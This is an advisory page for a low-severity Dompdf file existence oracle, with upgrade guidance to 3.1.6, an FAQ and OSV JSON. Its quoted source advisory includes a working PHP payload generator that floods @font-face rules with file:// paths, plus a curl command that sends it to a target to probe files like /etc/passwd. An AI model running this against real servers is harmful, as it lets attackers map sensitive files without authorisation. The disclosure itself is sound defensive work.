CVE-2026-55555: Dompdf File Existence Oracle Vulnerability

LOW
Advisory Identifier: GHSA-7x2p-4jvh-6384
CWE-203
Published
Advisory Summary

CVE-2026-55555 is a LOW file existence oracle vulnerability (CWE-203: Observable Discrepancy) affecting Dompdf libraries in the Packagist ecosystem. The issue involves file existence oracle via font-face stylesheet declaration. Remediation is available by upgrading affected packages to version 3.1.6.

CVE-2026-55555 at a Glance

CVE Identifier CVE-2026-55555
GHSA Identifier GHSA-7x2p-4jvh-6384
Severity LOW
CVSS v3.1 Base Score N/A
CWE Classification CWE-203: Observable Discrepancy
Affected Product Dompdf
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-55555

To remediate this vulnerability, upgrade all affected Dompdf dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dompdf/dompdf fixed: 3.1.6
Upgrade dompdf/dompdf to 3.1.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for dompdf/dompdf

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55555, inspect your project dependencies for Dompdf:

inspect dependencies for dompdf/dompdf

Analyze the terminal output to locate any version of Dompdf in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-203: Observable Discrepancy, where the product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor. In Dompdf, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description Dompdf is vulnerable to a **File Existence Oracle** attack through the manipulation of the CSS `@font-face` directive. By providing malicious HTML that references local files via the `file://` protocol repeatedly, an attacker can trigger PHP memory exhaustion. The critical point of this flaw is the discrepancy in system behavior: 1. **If the file exists:** Dompdf attempts to process the local resource multiple times, leading to an "Allowed memory size exhausted" error, which crashes the creation. 2. **If the file does NOT exist:** The rendering engine fails quickly or ignores the import, and the memory limit is not reached. This discrepancy allows an attacker to enumerate sensitive files on the server, regardless of `CHROOT` restrictions. Some factors impact the ability of attackers to exploit the vulnerability: - The attacker must be allowed to provide unrestricted and/or unsanitized HTML content. - System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error. - HTTP GET querystring or POST body must allow large data - Memory limits must be low enough that Dompdf can trigger an overflow - `$_dompdf_show_warnings` when set to true can bump memory usage --- ## Example Scenario ### 1. Vulnerable System A web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf. - Vulnerable Endpoint: http://example.com/index.php - Vulnerable Parameter: html_input (POST) `index.php` simplified: ``` $dompdf = new Dompdf(new Options()); $dompdf->loadHtml($_POST['html_input']); $dompdf->render(); $dompdf->stream("document.pdf"); ``` <img width="2530" height="1320" alt="image" src="https://github.com/user-attachments/assets/a3fe336c-097a-408a-b8b4-cdbaf5f8d7c4" /> ### 2. Attack Generation The attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request. - Attacker's Local Script (payload_gen.php): ```PHP <?php /** * Usage: php exploit.php <file_path> <iterations> * Example: php exploit.php /etc/passwd 5000 */ // Check if the file argument was provided if ($argc < 2) { echo "[-] Usage: php exploit.php <file_to_read> [iterations]\n"; exit(1); } $file = $argv[1]; $iterations = isset($argv[2]) ? (int)$argv[2] : 5000; function generate_payload($file, $iterations) { $css = ""; $body = ""; // We use @font-face to trick the engine into attempting a local file read for ($i = 0; $i < $iterations; $i++) { $css .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n"; $body .= "<span style=\"font-family:f{$i}\">.</span>"; } return "<html><head><style>{$css}</style></head><body>{$body}</body></html>"; } // Output the payload to stdout for piping echo generate_payload($file, $iterations); ?> ``` ### 3. Exploitation The attacker pipes the malicious HTML into a curl request targeting the remote server: ``` php payload_gen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \ --data-urlencode "html_input@-" \ --output response.pdf ``` By analyzing the `response.pdf` file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes. #### Existent file: <img width="2544" height="702" alt="image" src="https://github.com/user-attachments/assets/a565e9b9-5bf7-486c-acac-c2adfc4af536" /> #### Non-existent file: <img width="1872" height="706" alt="image" src="https://github.com/user-attachments/assets/6e71dbdd-294a-4b2c-a183-4bbbfddcdee2" /> Note that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists. --- ## Impact **Information Disclosure (File Oracle via Reflected HTML)**: In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., `.env` files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server's file system.

CVE-2026-55555 Affected Dompdf Versions

1 component(s)
Fixed Versions:
3.1.6
Product / Package Ecosystem Affected Versions Fixed Version
dompdf/dompdf
Packagist
< 3.1.6
3.1.6

References

Frequently Asked Questions

What is CVE-2026-55555?
CVE-2026-55555 is a security vulnerability in Dompdf involving File existence oracle via font-face stylesheet declaration under CWE-203: Observable Discrepancy.
Which Dompdf versions are affected?
Affected versions include releases prior to 3.1.6 across affected packages: dompdf/dompdf.
What version fixes CVE-2026-55555?
Upgrading to 3.1.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dompdf/dompdf affected?
Yes, dompdf/dompdf is affected in releases prior to 3.1.6. Upgrade your dependency to 3.1.6 or later.
What CWE is associated with CVE-2026-55555?
CVE-2026-55555 is classified under CWE-203: Observable Discrepancy (The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-55555?
Run the dependency tree command: 'inspect dependencies for dompdf/dompdf'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7x2p-4jvh-6384",
  "modified" : "2026-07-22T21:07:07Z",
  "published" : "2026-07-22T21:07:07Z",
  "aliases" : [ "CVE-2026-55555" ],
  "summary" : "Dompdf: File existence oracle via font-face stylesheet declaration",
  "details" : "## Description\n\nDompdf is vulnerable to a **File Existence Oracle** attack through the manipulation of the CSS `@font-face` directive. By providing malicious HTML that references local files via the `file://` protocol repeatedly, an attacker can trigger PHP memory exhaustion.\n\nThe critical point of this flaw is the discrepancy in system behavior:\n\n1. **If the file exists:** Dompdf attempts to process the local resource multiple times, leading to an \"Allowed memory size exhausted\" error, which crashes the creation.\n2. **If the file does NOT exist:** The rendering engine fails quickly or ignores the import, and the memory limit is not reached.\n\nThis discrepancy allows an attacker to enumerate sensitive files on the server, regardless of `CHROOT` restrictions.\n\nSome factors impact the ability of attackers to exploit the vulnerability:\n- The attacker must be allowed to provide unrestricted and/or unsanitized HTML content.\n- System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error.\n  - HTTP GET querystring or POST body must allow large data\n  - Memory limits must be low enough that Dompdf can trigger an overflow\n  - `$_dompdf_show_warnings` when set to true can bump memory usage\n\n---\n\n## Example Scenario\n\n### 1. Vulnerable System\n\nA web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf.\n\n- Vulnerable Endpoint: http://example.com/index.php\n- Vulnerable Parameter: html_input (POST)\n\n`index.php` simplified:\n```\n$dompdf = new Dompdf(new Options());\n$dompdf->loadHtml($_POST['html_input']);\n$dompdf->render();\n$dompdf->stream(\"document.pdf\");\n```\n\n<img width=\"2530\" height=\"1320\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a3fe336c-097a-408a-b8b4-cdbaf5f8d7c4\" />\n\n### 2. Attack Generation\n\nThe attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request.\n\n- Attacker's Local Script (payload_gen.php):\n\n```PHP\n<?php\n\n/**\n * Usage: php exploit.php <file_path> <iterations>\n * Example: php exploit.php /etc/passwd 5000\n */\n\n// Check if the file argument was provided\nif ($argc < 2) {\n    echo \"[-] Usage: php exploit.php <file_to_read> [iterations]\\n\";\n    exit(1);\n}\n\n$file = $argv[1];\n$iterations = isset($argv[2]) ? (int)$argv[2] : 5000;\n\nfunction generate_payload($file, $iterations) {\n    $css = \"\";\n    $body = \"\";\n    \n    // We use @font-face to trick the engine into attempting a local file read\n    for ($i = 0; $i < $iterations; $i++) {\n        $css .= \"@font-face { font-family: \\\"f{$i}\\\"; src: url(\\\"file://{$file}\\\"); }\\n\";\n        $body .= \"<span style=\\\"font-family:f{$i}\\\">.</span>\";\n    }\n    \n    return \"<html><head><style>{$css}</style></head><body>{$body}</body></html>\";\n}\n\n// Output the payload to stdout for piping\necho generate_payload($file, $iterations);\n\n?>\n```\n\n### 3. Exploitation\n\nThe attacker pipes the malicious HTML into a curl request targeting the remote server:\n\n```\nphp payload_gen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \\\n\n    --data-urlencode \"html_input@-\" \\\n\n    --output response.pdf\n```\n\nBy analyzing the `response.pdf` file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes.\n\n#### Existent file:\n<img width=\"2544\" height=\"702\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a565e9b9-5bf7-486c-acac-c2adfc4af536\" />\n\n#### Non-existent file:\n<img width=\"1872\" height=\"706\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6e71dbdd-294a-4b2c-a183-4bbbfddcdee2\" />\n\nNote that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists.\n\n---\n\n## Impact\n\n**Information Disclosure (File Oracle via Reflected HTML)**: In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., `.env` files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server's file system.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "dompdf/dompdf"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/commit/75c39a083bf7298044fb27399b4cc183054438b4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dompdf/dompdf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-203" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-22T21:07:07Z",
    "nvd_published_at" : null
  }
}